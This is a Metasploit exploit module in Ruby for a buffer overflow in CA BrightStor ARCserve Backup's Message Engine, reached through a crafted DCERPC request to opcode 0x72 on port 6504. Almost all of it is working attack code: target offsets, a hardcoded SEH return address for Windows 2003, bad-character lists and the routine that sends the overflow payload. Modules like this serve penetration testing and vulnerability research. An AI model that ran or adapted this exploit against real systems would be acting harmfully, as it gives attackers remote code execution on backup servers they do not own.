|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93  |  ## # $Id: message_engine_72.rb 10551 2010-10-05 12:38:46Z swtornio $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote  Rank = AverageRanking  include Msf::Exploit::Remote::DCERPC  include Msf::Exploit::Remote::Seh  def initialize(info = {})  super(update_info(info,  'Name' => 'CA BrightStor ARCserve Message Engine 0x72 Buffer Overflow',  'Description'=> %q{  This module exploits a buffer overflow in Computer Associates BrightStor ARCserve Backup  11.1 - 11.5 SP2. By sending a specially crafted RPC request, an attacker could overflow  the buffer and execute arbitrary code.  },  'Author' => [ 'MC' ],  'License'=> MSF_LICENSE,  'Version'=> '$Revision: 10551 $',  'References' =>  [  [ 'OSVDB', '68329'],  [ 'URL', 'http://www.metasploit.com/users/mc' ],  ],  'Privileged' => true,  'DefaultOptions' =>  {  'EXITFUNC' => 'thread',  },  'Payload'=>  {  'Space'=> 600,  'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",  'StackAdjustment' => -3500,  },  'Platform' => 'win',  'Targets'=>  [  [ 'BrightStor ARCserve r11.5/Windows 2003', { 'Ret' => 0x2380ceb5 } ],  ],  'DisclosureDate' => 'Oct 4 2010',  'DefaultTarget' => 0))  register_options([Opt::RPORT(6504)], self.class)  end  def exploit  connect  handle = dcerpc_handle('506b1890-14c8-11d1-bbc3-00805fa6962e', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])  print_status("Binding to #{handle} ...")  dcerpc_bind(handle)  print_status("Bound to #{handle} ...")  sploit = NDR.string(rand_text_english(760) + generate_seh_payload(target.ret) + "\x00") + NDR.long(0)  print_status("Trying target #{target.name}...")  begin  dcerpc_call(0x72, sploit)  rescue Rex::Proto::DCERPC::Exceptions::NoResponse  end  handler  disconnect  end end =begin /* opcode: 0x72, address: 0x28E893D0 */ short sub_28E893D0 (  [in] handle_targ_1,  [in][ref][string] char * arg_2,  [in, out][ref] long * arg_3 ); =end  |